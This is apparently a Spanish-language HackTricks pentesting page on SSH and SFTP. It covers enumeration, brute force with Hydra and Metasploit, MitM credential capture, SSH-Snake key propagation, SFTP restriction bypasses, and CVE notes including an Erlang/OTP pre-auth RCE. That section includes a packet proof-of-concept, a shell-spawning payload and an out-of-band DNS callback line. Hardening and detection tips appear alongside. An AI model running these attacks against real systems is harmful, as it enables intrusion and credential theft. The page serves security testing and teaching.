22 - Pentesting SSH/SFTP

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Información básica

SSH (Secure Shell or Secure Socket Shell) es un protocolo de red que permite una conexión segura a un equipo a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos.

Puerto predeterminado: 22

22/tcp open  ssh     syn-ack

Servidores SSH:

• openSSH – OpenBSD SSH, incluido en BSD, distribuciones de Linux y Windows desde Windows 10
• Dropbear – implementación de SSH para entornos con recursos limitados de memoria y procesador, incluido en OpenWrt
• PuTTY – implementación de SSH para Windows; el cliente es comúnmente usado, pero el uso del servidor es más raro
• CopSSH – implementación de OpenSSH para Windows

Librerías SSH (implementando el lado servidor):

• libssh – biblioteca C multiplataforma que implementa el protocolo SSHv2 con bindings en Python, Perl y R; es usada por KDE para sftp y por GitHub para la infraestructura SSH de git
• wolfSSH – biblioteca servidor SSHv2 escrita en ANSI C y dirigida a entornos embebidos, RTOS y con recursos limitados
• Apache MINA SSHD – la librería Java Apache SSHD está basada en Apache MINA
• paramiko – biblioteca Python del protocolo SSHv2

Enumeración

Banner Grabbing

nc -vn <IP> 22

Automatizado ssh-audit

ssh-audit es una herramienta para auditar la configuración de servidores y clientes ssh.

https://github.com/jtesta/ssh-audit es un fork actualizado de https://github.com/arthepsy/ssh-audit/

Características:

• SSH1 and SSH2 protocol server support;
• analiza la configuración del cliente SSH;
• obtiene el banner, reconoce el dispositivo o software y el sistema operativo, detecta compresión;
• recopila algoritmos de intercambio de claves, host-key, cifrado y MAC (message authentication code);
• muestra información de algoritmos (disponible desde, eliminado/deshabilitado, inseguro/débil/legado, etc);
• muestra recomendaciones de algoritmos (añadir o eliminar según la versión de software reconocida);
• muestra información de seguridad (problemas relacionados, lista de CVE asignados, etc);
• analiza compatibilidad de versiones SSH basada en la información de algoritmos;
• información histórica de OpenSSH, Dropbear SSH y libssh;
• funciona en Linux y Windows;
• sin dependencias

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Clave SSH pública del servidor

ssh-keyscan -t rsa <IP> -p <PORT>

Algoritmos de cifrado débiles

Esto se descubre por defecto con nmap. También puedes usar sslcan o sslyze.

Scripts de Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Fuerza bruta de nombres de usuario, contraseñas y claves privadas

Enumeración de nombres de usuario

En algunas versiones de OpenSSH puedes realizar un ataque por temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotarlo:

msf> use scanner/ssh/ssh_enumusers

Brute force

Algunas credenciales comunes de ssh aquí y aquí y más abajo.

Private Key Brute Force

Si conoces algunas claves privadas de ssh que podrían usarse… probémoslo. Puedes usar el script de nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

O el MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

O usa ssh-keybrute.py (nativo en python3, ligero y con algoritmos heredados habilitados): snowdroppe/ssh-keybrute.

Los badkeys conocidos se pueden encontrar aquí:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Claves SSH débiles / PRNG predecible de Debian

Algunos sistemas tienen fallos conocidos en la semilla aleatoria usada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser atacado por fuerza bruta. Conjuntos pre-generados de claves generados en sistemas Debian afectados por un PRNG débil están disponibles aquí: g0tmi1k/debian-ssh.

Deberías mirar aquí para buscar claves válidas para la máquina víctima.

Kerberos / GSSAPI SSO

Si el servidor SSH objetivo soporta GSSAPI (por ejemplo Windows OpenSSH en un controlador de dominio), puedes autenticarte usando tu Kerberos TGT en lugar de una contraseña.

Flujo de trabajo desde un host atacante Linux:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Notas:

• Si te conectas al nombre incorrecto (por ejemplo, nombre corto, alias, o orden incorrecto en /etc/hosts), puede aparecer: “Server not found in Kerberos database” porque el SPN no coincide.
• crackmapexec ssh --kerberos también puede usar tu ccache para la autenticación Kerberos.

Credenciales por defecto

SSH-MitM

Si estás en la red local junto a la víctima que se va a conectar al servidor SSH usando usuario y contraseña, podrías intentar realizar un ataque MitM para robar esas credenciales:

Ruta de ataque:

• Redirección de tráfico: El atacante desvía el tráfico de la víctima hacia su máquina, interceptando efectivamente el intento de conexión al servidor SSH.
• Intercepción y registro: La máquina del atacante actúa como un proxy, capturando las credenciales de acceso del usuario al hacerse pasar por el servidor SSH legítimo.
• Ejecución de comandos y retransmisión: Finalmente, el servidor del atacante registra las credenciales del usuario, reenvía los comandos al servidor SSH real, los ejecuta y devuelve los resultados al usuario, haciendo que el proceso parezca transparente y legítimo.

SSH MITM hace exactamente lo descrito arriba.

Para capturar y realizar el MitM real podrías usar técnicas como ARP spoofing, DNS spoofin u otras descritas en la Network Spoofing attacks.

SSH-Snake

Si quieres atravesar una red usando claves privadas SSH descubiertas en sistemas, utilizando cada clave privada en cada sistema para nuevos hosts, entonces SSH-Snake es lo que necesitas.

SSH-Snake realiza las siguientes tareas automáticamente y de forma recursiva:

1. En el sistema actual, encontrar cualquier clave privada SSH,
2. En el sistema actual, encontrar hosts o destinos (user@host) donde las claves privadas puedan ser aceptadas,
3. Intentar hacer SSH a todos los destinos usando todas las claves privadas descubiertas,
4. Si se conecta correctamente a un destino, repite los pasos #1 - #4 en el sistema al que se conectó.

Es completamente autorreplicante y auto-propagante – y completamente fileless.

Misconfiguraciones

Inicio de sesión root

Es común que los servidores SSH permitan el inicio de sesión del usuario root por defecto, lo que representa un riesgo de seguridad significativo. Deshabilitar el inicio de sesión root es un paso crítico para asegurar el servidor. El acceso no autorizado con privilegios administrativos y los ataques de fuerza bruta pueden mitigarse realizando este cambio.

Para deshabilitar el inicio de sesión root en OpenSSH:

1. Edita el archivo de configuración de SSH con: sudoedit /etc/ssh/sshd_config
2. Cambia la configuración de #PermitRootLogin yes a PermitRootLogin no.
3. Recarga la configuración usando: sudo systemctl daemon-reload
4. Reinicia el servidor SSH para aplicar los cambios: sudo systemctl restart sshd

SFTP Brute Force

• SFTP Brute Force

SFTP command execution

Existe una omisión común en las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso de shell remoto. A pesar de asignar a los usuarios shells no interactivos (p. ej., /usr/bin/nologin) y de confinarlos a un directorio específico, queda una vulnerabilidad de seguridad. Los usuarios pueden eludir estas restricciones solicitando la ejecución de un comando (como /bin/bash) inmediatamente después de iniciar sesión, antes de que tome efecto su shell no interactivo asignado. Esto permite la ejecución de comandos no autorizados, socavando las medidas de seguridad previstas.

Ejemplo aquí:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Aquí hay un ejemplo de configuración segura de SFTP (/etc/ssh/sshd_config – openSSH) para el usuario noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Esta configuración permitirá únicamente SFTP: deshabilitando el acceso al shell al forzar el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de port forwarding o tunneling.

SFTP Tunneling

Si tienes acceso a un servidor SFTP, también puedes tunelizar tu tráfico a través de él; por ejemplo, usando el habitual port forwarding:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

El sftp tiene el comando “symlink”. Por lo tanto, si tienes writable rights en alguna carpeta, puedes crear symlinks de otras carpetas/archivos. Como probablemente estés trapped dentro de un chroot, esto no te será especialmente útil, pero si puedes access el symlink creado desde un no-chroot service (por ejemplo, si puedes acceder al symlink desde la web), podrías open the symlinked files through the web.

Por ejemplo, para crear un symlink desde un nuevo archivo “froot” a “/”:

sftp> symlink / froot

If you can access the file “froot” via web, you will be able to list the root (“/”) folder of the system.

Métodos de autenticación

En entornos de alta seguridad es práctica común habilitar solo autenticación basada en claves o autenticación de dos factores en lugar de la simple autenticación basada en password. Pero a menudo los métodos de autenticación más fuertes se habilitan sin desactivar los más débiles. Un caso frecuente es habilitar publickey en la configuración de openSSH y establecerlo como método por defecto, pero no desactivar password. Así que usando el modo verbose del cliente SSH un atacante puede ver que se ha habilitado un método más débil:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Por ejemplo, si se ha establecido un límite de fallos de autenticación y nunca tienes la oportunidad de llegar al password method, puedes usar la opción PreferredAuthentications para forzar el uso de este método.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Revisar la configuración del servidor SSH es necesario para comprobar que sólo los métodos esperados estén autorizados. Usar el modo verbose en el cliente puede ayudar a ver la efectividad de la configuración.

Archivos de configuración

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

Vulnerabilidades Críticas Recientes (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 reintrodujo CVE-2006-5051 al eliminar la protección async-safe dentro del manejador SIGALRM de sshd, permitiendo que atacantes no autenticados corrompan el heap de glibc cuando expira LoginGraceTime. Qualys weaponizó el bug para root RCE en Linux de 32 bits y señaló que los objetivos de 64 bits siguen siendo atacables por fuerza bruta con suficientes intentos de grooming, por lo que hay que priorizar hosts que todavía divulguen esas versiones durante banner grabs.

La explotación depende del timing: golpear el daemon con sesiones semi-abiertas que nunca autentican para que el monitor privilegiado vuelva a entrar repetidamente en la ruta de señal vulnerable mientras se modela el estado del allocator.

Consejos para el operador:

• Identificar builds con ssh -V (banner remoto) o ssh -G <target> | grep ^userauths y confirmar que LoginGraceTime no es cero.
• Presionar un objetivo de laboratorio enviando sesiones de corta duración que no soliciten autenticación, por ejemplo:

parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}

• Los hosts que fuerzan LoginGraceTime 0 nunca tocan la ruta de código con bug—espere solo un vector DoS por agotamiento de MaxStartups.

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 y 5.6.1 distribuyeron tarballs de release troceados cuyos scripts de build desempaquetan un objeto oculto durante el packaging Debian/RPM en x86-64 Linux. El payload abusa del resolver IFUNC de glibc para enganchar RSA_public_decrypt en sshd (cuando los parches de systemd fuerzan la carga de liblzma) y acepta paquetes firmados por el atacante para ejecución de código pre-auth.

Como la lógica maliciosa vive solo dentro de esos binarios empaquetados, la validación ofensiva debe inspeccionar lo que la víctima realmente instaló: comprobar xz --version, rpm -qi xz/dpkg -l xz-utils, comparar hashes de /usr/lib*/liblzma.so*, e inspeccionar ldd /usr/sbin/sshd | grep -E "systemd|lzma" para ver si sshd incluso enlaza la dependencia comprometida. El hook permanece inactivo a menos que la ruta del proceso sea /usr/sbin/sshd, por lo que recrear el entorno de build de la distro suele ser necesario para reproducir el backdoor en laboratorio.

Authentication State-Machine Bypass (Pre-Auth RCE)

Varias implementaciones de servidores SSH contienen fallos lógicos en la máquina de estado finito de autenticación que permiten a un cliente enviar mensajes del connection-protocol antes de que la autenticación haya terminado. Debido a que el servidor no verifica que está en el estado correcto, esos mensajes se manejan como si el usuario ya estuviera completamente autenticado, llevando a ejecución de código no autenticada o creación de sesiones.

A nivel de protocolo, cualquier mensaje SSH con un message code ≥ 80 (0x50) pertenece a la capa connection (RFC 4254) y debe aceptarse solo después de una autenticación exitosa (RFC 4252). Si el servidor procesa uno de esos mensajes mientras aún está en el estado SSH_AUTHENTICATION, el atacante puede inmediatamente crear un channel y solicitar acciones como ejecución de comandos, port-forwarding, etc.

Pasos genéricos de explotación

1. Establecer una conexión TCP al puerto SSH del objetivo (comúnmente 22, pero otros servicios pueden exponer Erlang/OTP en 2022, 830, 2222…).
2. Construir un paquete SSH raw:

• 4-byte packet_length (big-endian)
• 1-byte message_code ≥ 80 (por ejemplo SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
• Payload que será interpretado por el tipo de mensaje elegido

3. Enviar el/los paquete(s) antes de completar cualquier paso de autenticación.
4. Interactuar con las APIs del servidor que ahora están expuestas pre-auth (ejecución de comandos, port forwarding, acceso al sistema de ficheros, …).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

En la práctica tendrás que realizar (o omitir) el key-exchange según la implementación del objetivo, pero no authentication nunca se realiza.

Erlang/OTP sshd (CVE-2025-32433)

• Versiones afectadas: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
• Causa raíz: el daemon SSH nativo de Erlang no valida el estado actual antes de invocar ssh_connection:handle_msg/2. Por lo tanto, cualquier paquete con un código de mensaje 80-255 alcanza el manejador de conexión mientras la sesión aún está en el estado userauth.
• Impacto: unauthenticated remote code execution (el daemon normalmente se ejecuta como root en dispositivos embebidos/OT).

Ejemplo de payload que genera un reverse shell enlazado al canal controlado por el atacante:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection puede realizarse vía DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Detección y mitigación:

• Inspeccionar el tráfico SSH: descartar cualquier paquete con código de mensaje ≥ 80 observado antes de la autenticación.
• Actualizar Erlang/OTP a 27.3.3 / 26.2.5.11 / 25.3.2.20 o posterior.
• Restringir la exposición de puertos de gestión (22/2022/830/2222) – especialmente en equipos OT.

Otras implementaciones afectadas

• libssh 0.6 – 0.8 (lado del servidor) – CVE-2018-10933 – acepta un SSH_MSG_USERAUTH_SUCCESS no autenticado enviado por el cliente, efectivamente la falla lógica inversa.

La lección común es que cualquier desviación de las transiciones de estado exigidas por la RFC puede ser fatal; al revisar o hacer fuzzing de los demonios SSH preste especial atención a la aplicación de la máquina de estados.

Referencias

• Unit 42 – Erlang/OTP SSH CVE-2025-32433
• SSH hardening guides
• Turgensec SSH hacking guide
• Pentesting Kerberos (88) – client setup and troubleshooting
• 0xdf – HTB: TheFrizz
• Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
• Snyk – The XZ backdoor (CVE-2024-3094)

Comandos automáticos de HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.